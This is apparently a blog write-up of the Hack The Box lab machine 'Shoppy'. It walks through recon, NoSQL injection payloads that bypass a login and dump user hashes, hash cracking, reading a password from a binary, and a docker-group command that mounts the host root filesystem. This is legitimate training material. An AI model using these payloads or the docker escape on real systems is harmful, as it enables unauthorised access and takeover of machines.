Post

HTB • Shoppy

Shoppy is an easy Linux machine created by lockscan on Hack The Box that features a website with a NoSQL injection vulnerability that allows us to authenticate as the admin user. With a little help from another NoSQL injection vulnerability, we are able to extract and recover the password for the user josh. These credentials are valid on a virtual subdomain with a chat room containing the password for jaeger. Now these credentials are valid on the SSH server, so we login and grab the user flag. We recover the password for the user deploy by reverse-engineering a binary that allows us to read the user’s password. We then read the root flag by mounting the root filesystem inside a docker container and interacting with it.

Initial Recon

Let’s first set up our environment and run a TCP port scan with this custom nmap wrapper.

1
2
3
4
# bryan@attacker
rhost="" # replace with machine address
echo rhost=$rhost >> .env && . ./.env
ctfscan $rhost

The scan reports the following ports as open:

PortServiceProductVersion
22SSHOpenSSH8.4p1 Debian 5+deb11u1
80HTTPnginx1.23.1
9093HTTP  

Web

Let’s get some basic information about the web server running on port 80 with WhatWeb

1
2
# bryan@attacker
whatweb "$rhost:80"

We are redirected to http://shoppy.htb which probably means that the server expects the hostname shoppy.htb for any requests. We’ll add the hostname to /etc/hosts and our environment file.

1
2
3
# bryan@attacker
echo 'vhost=shoppy.htb' >> .env && . ./.env
echo -e "$rhost\\t$vhost" | sudo tee -a /etc/hosts

Now when we visit http://shoppy.htb in our browser, we don’t get redirected.

Home Page Initial contact with the web server on port 80

Subdomain Brute-Force

There isn’t anything immediately interesting on the site, so it would probably be a good idea to brute-force any virtual subdomains with ffuf and this wordlist.

1
2
3
4
5
6
7
# bryan@attacker
ffuf \
  -u "http://$vhost/" \
  -H "Host: FUZZ.$vhost" \
  -w ./bitquark-subdomains-top100000.txt \
  -mc all \
  -fc 301

The mattermost subdomain is returned, so let’s add that to /etc/hosts and visit it in our browser.

1
2
3
# bryan@attacker
sudo sed -i -E "s/\t($vhost)$/\t\1 mattermost.\1/g" /etc/hosts
chromium "http://mattermost.$vhost"

Mattermost site We find a VHost that is hosting the Mattermost project management software

the site seems to be using Mattermost project management software, which requires authentication. It doesn’t look like there are any public unauthenticated exploits for this, so we’ll move on to fuzzing the main site at http://shoppy.htb for content with dirsearch.

1
2
# bryan@attacker
dirsearch -u "http://$vhost/" -e html,txt

We find the notable /admin and /login endpoints.

Shoppy Login

The admin endpoint just redirects us to the login page, presumably because we aren’t authenticated.

Login page We probably need to get past this login page

Authentication Bypass

When doing some manual injection fuzzing at /login, we find out that a username value with a single quote will cause the application to hang, while a username value with double quotes will pass normally. This is a good indicator of an injection vulnerability. It must be noted that SQL injection or NoSQL injection are the most probable for login functionality.

We notice when submitting ' OR ''=' as the username value the application hangs, but when we submit '||''==' it doesn’t. This probably means that we have a NoSQL injection vulnerability rather than plain old SQL injection because most NoSQL solutions use operators similar to javascript rather than traditional SQL syntax. Now if this is truly an injection point, we could authenticate as the user admin by entering admin'||''==' as the username.

Admin dashboard We successfully exploit the NoSQL injection vulnerability in order to bypass authentication

It works! Now we’ll see what actions we can take as the admin to get some leverage.

Admin Dashboard

There seems to be an option to search for users. When we enter “admin”, we get an option to download an export which contains a password hash for the user. When we enter “adm” though, it claims there are no results. This suggests that our query has to match an exact username instead of just a similar username. Since we were able to utilize NoSQL injection once, why not try it again? Entering '||''==', will return an export of all users.

Hash Cracking

Let’s try to crack the hashes we found for the users admin and josh with John the Ripper and rockyou.txt.

1
2
3
4
5
6
7
8
# bryan@attacker
admin_hash="" # admin's hash here
josh_hash=""  # josh's hash here
echo "admin:$admin_hash" > ./md5.john
echo "josh:$josh_hash"  >> ./md5.john
john ./md5.john \
  --format="Raw-MD5" \
  --wordlist="rockyou.txt" \

The hash for josh is cracked and now we have a set of credentials that happen to be valid at the mattermost login page.

Mattermost

Mattermost chat Plaintext credentials thrown in the Mattermost chat

Upon logging in, we are immediately presented with another set of credentials, sent by jaeger in the chat room. It turns out, these credentials work for SSH so we’ll establish an SSH session now.

1
2
# bryan@attacker
ssh "jaeger@$rhost"

Privilege Escalation

As a part of enumeration, we run sudo -l and find out that our current user can run /home/deploy/password-manager as deploy

1
2
User jaeger may run the following commands on shoppy:
  (deploy) /home/deploy/password-manager

Password Manager

When we execute /home/deploy/password-manager, it asks for a password.

1
2
# jaeger@10.10.11.180 (SSH)
sudo -u "deploy" /home/deploy/password-manager
1
2
Welcome to Josh password manager!
Please enter your master password: 

All we have to do here is hopefully find the password within the program. So we’ll download the file with the scp command and analyze it with radare2

1
2
3
4
# bryan@attacker
scp "jaeger@$rhost:/home/deploy/password-manager" .
file ./password-manager # It's an ELF executable
radare2 -AA ./password-manager

It looks like the file compares our input to the string “Sample” and calls system("cat /home/deploy/creds.txt") if they match. This is exactly the case when we run it again. A password for the user deploy shows up in the output and it turns out to be valid on this machine.

1
2
# jaeger@10.10.11.180 (SSH)
sudo -u "deploy" /home/deploy/password-manager
1
2
3
4
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: [REDACTED]

Let’s login as this user and see what new privileges we have.

1
2
# bryan@attacker
ssh "deploy@$rhost"

Docker Group Escalation

The id command indicates that our current user is part of the docker group. This is great news for us because membership to the docker group could allow us full access to this machine. All we have to do is mount the root filesystem on a new container, and read the root flag at /root/root.txt.

1
2
3
# deploy@10.10.11.180 (SSH)
docker images # the alpine image is available
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
This post is licensed under CC BY 4.0 by the author.